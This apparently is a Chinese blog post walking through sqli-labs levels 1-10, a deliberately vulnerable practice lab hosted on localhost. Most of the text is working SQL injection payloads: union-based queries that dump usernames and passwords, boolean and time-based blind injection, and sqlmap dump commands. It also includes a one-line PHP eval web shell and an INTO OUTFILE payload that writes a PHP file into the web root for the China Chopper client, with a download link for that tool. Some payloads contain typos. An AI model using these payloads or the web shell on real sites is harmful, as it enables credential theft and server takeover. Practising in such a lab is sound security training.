zoukankan      html  css  js  c++  java
  • sqli-labs 1-10

    可以开始第一关:  1-10关都是GET型

    MYSQL基本用法:

    查库:select schema_name from information_schema.schemata;

     

    查表:select table_name from information_schema.tables where table_schema=’security’;(库名)

     

    查列:select column_name from information_schema.columns where table_name=’users’;(表名)

     

    查字段:select username,password from security.users;

     

     

     

    Less-01: 单引号字符串型回显注入

                 ?id=’1’使用单引号进行包裹

    ?id=1’                      显示有错误信息表示有注入漏洞

    ?id=1’or 1=1--+      可以正常回显 其中--+是注释

    Limit 0,1;     其中第一位是从第几个开始,比如0表示从第一个开始,而第二位的1表示显示多少个数据

    当order by 3--+时才会有回显,表示这个表只有三列

     

     

     ?id=1’ union select 1,2,3--+

    ?id=-1’ union select 1,2,3--+    加有负号的表示将其注释

     

     ?id=-1’ union select 1,2,group_concat(schema_name)from information_schema.schemata --+

                        使用group_concat()函数 得所呈现的数据在一行显示

    也可以使用

    ?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 0,1--+

    ?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1--+

    ?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 2,1--+

                       通过改变limit 第一位的数(0,1,2)来获得回显的数据

    ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

     

    ?id=-1'union select 1,2,group_concat(password) from security.users--+

    ?id=-1'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

                             通过使用concat_ws(‘~’,A,B)可以使两个同时显示

     

    总结

     

    Less-02: 数字型回显注入

                   ?id=1 没有进行包裹

    ?id=1      开始后面的操作

     ?id=1 order by 3--+

    ?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    ?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+

     

    Less-03:单引号字符型变形回显注入    使用(‘1’)进行包裹

    (变量引入后,程序引用时增加了括号,输入单引号看报错信息,near ' '1'') LIMIT 0,1' ,看出变量被加了单引号'和括号)

    ?id=1’)         进行下面的操作(之后跟Less-01一样)

     ?id=1’)order by 3--+

    ?id=-1’)union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    ?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    ?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    ?id=-1’) union select 1,2,group_concat(concat('~',username,password)) from security.users--+

    Less-04:双引号字符型变形回显注入

                 使用(“1”)进行包裹

    ?id=1”)进行下面的操作(之后跟Less-01一样)

     

    ?id=1”) order by 3--+

    ?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+

    ?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

    ?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

    ?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+

     

      补充基础知识  

     1. left(a,b)左侧截取a的前b位,正确则返回1,错误则返回o

                            Select left(database(),1)=’s’;  

    其中database()为security,截取的是第一个字母’s’,正确返回1

    2. regexp函数                select user() regexp ‘r’;    

    user()的结果是root, regexp 为匹配root的正则表达式(实验之后正确返回为1,错误返回0)

    3. like函数                select user() like’ro%’;   用法与regexp一样

     4. substr(a,b,c)   select substr() XXx  

                        Substr(a,b,c)从位置b开始,截取a字符串c位长度

    5. ascii()  将某个字符串转化为ascii值       select ascii(‘s’);

     6. chr(数字)   或者是   ord(‘字母’) 

    使用python中的两 个函数可以判断当前的ascii值是多少

    对于security数据库: (打开SQL命令  输入use security
    select left (database(),1)=’s’;      前1位是否是s

    select database() regexp ’s’;      匹配第1个字符是否是s

    select database() like ‘s%’;         匹配第1 个字符是否是s
    select substr((select database()),1,1)=’s’;  select database()表示security

                               substr((security),1,1)从第一位开始截取security的1位长度

    即匹配第一个字符是否是s
     select substr((select database()),1,3)=’sec’;   匹配前三个字符是否是sec

    select ascii(substr((select database()),1,1));   直接回显115 ;
    select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0.

    总结:

     

    Less-05:单引号字符型布尔逻辑型盲注

                     使用’1’进行包裹

    输入?id=1时候  回显结果为You are in…………

    因为没有账号 密码的信息 所以这个时候不能再用union select

    ?id=1' and left((select database()),1)='s'--+   判断数据库第一个字符是不是s

    使用sqlmap工具进行注入

    Sql-map使用教程https://www.cnblogs.com/ichunqiu/p/5805108.html

    python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql –batch   得到下图信息

     

     爆出数据库名

    python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql –batch  --dbs        

     

     爆出security数据库中的所有表名

    python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security -–tables  --batch  

     

     爆出users表中所有的字段

    python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security –T users --columns  --batch

     

     爆出用户的信息

    python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security –T users –C username,password --dump --batch

     

     通过二分法 查询库的名(其中红色数字可变)

    http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>10--+

    http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99--+ 回显结果为 You are in ……….

    查询security下的所有表

    http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select table_name from information_schema.tables where table_schema ='s' limit 1,1),1,1))>1--+

    查询users内的所有字段

    http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select column_name from information_schema.columns where table_name =’users’limit 1,1),1,1))>1--+

    查询字段内的值

    http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'and ascii(substr((select username from security.users limit 1,1),1,1))>1--+

    Less-06:双引号字符型布尔逻辑型盲注

             ?id=1” 操作与第五关相同

    补充小知识:     Show variables like ‘%secure%’; 

     secure_file_priv 显示为空,会禁止数据导入导出

     

     解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”

     

    <?php eval($_POST[g]);?>

     Load_file() 读取本地文件 

    Select load_file(‘C:\phpstudy\WWW\test.txt’);

    Into outfile 写文件  文件位置:C:phpstudymysqldata

    Select ‘mysql is very good’into outfile ‘test.txt’;

    Less-07:  单引号字符型注入,但是注释符号被过滤,无法生效。只能通过闭合单引AND 号实现注入。输入任何注释字符不生效,数据库出错统一报错信息提示。

    ?id=1’)) 进行操作

    需要下载中国菜刀

    链接:https://pan.baidu.com/s/1A4v42kL0ieu3ZtHZJZ1FoQ

    提取码:v369

     http://localhost/sqli-labs-master/sqli-labs-master/Less-7/?id=1')) union select 1,2, 'crow' into outfile 'C:\phpStudy\WWW\sqli-labs-master\sqli-labs-master\Less-7\test.php'--+

    打开菜刀,右键添加,写入127.0.0.1/test.php 就可以了

    Less-08:  单引号字符型,布尔逻辑盲注

      ?id=1’  进行操作 其他操作跟第五关一样进行猜测就可以

     

     

    第二种方法: 时间盲注

    Sleep(秒数)  睡眠几秒再显示

     select if(ascii(substr((select database()),1,1))>10,2,3)

     

    http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+当时间为8时候很快加载出来,为其他时候加载需要5秒

     

    Less-09: 

    单引号字符型,time-based盲注
    可以通过构造逻辑或者通过if函数实现注入

    ?id=1’

    ?id=1 或者?id=1’。。。发现前面所学的都试了之后,并没有报错

    ?id=1’ and sleep(5)--+ 我们使用这个语句时候,发现网页会停顿5秒,所以存在注入漏洞

    之后使用第八关的时间盲注进行操作

    http://localhost/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(length(database())=8,1,sleep(5))--+   修改红色部位的数,猜测数据库名有几位

    http://localhost/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>12,1,sleep(5))--+

    Less-10: 双引号字符型,time-based盲注

                ?id=1’’  其余的跟第九关一样

    http://localhost/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

    还在学习中,有什么错误还望各位大佬给予指正!

  • 相关阅读:
    jquery.ajax,vue-resource,axios拦截器实现与携带cookie
    vs code 常用插件及说明
    Js/Jquery获取网页屏幕可见区域高度(转)
    vue的爬坑之路(三)之-----基于vue-cli的VueAwesomeSwiper轮播滑块插件的使用及常见问题(转)
    js中的深拷贝与浅拷贝
    沉浸式状态栏 关于状态栏高度的获取
    Cordova 常用命令及插件(转)
    video control
    canvas添加水印
    疑惑
  • 原文地址:https://www.cnblogs.com/7-58/p/12235658.html
Copyright © 2011-2022 走看看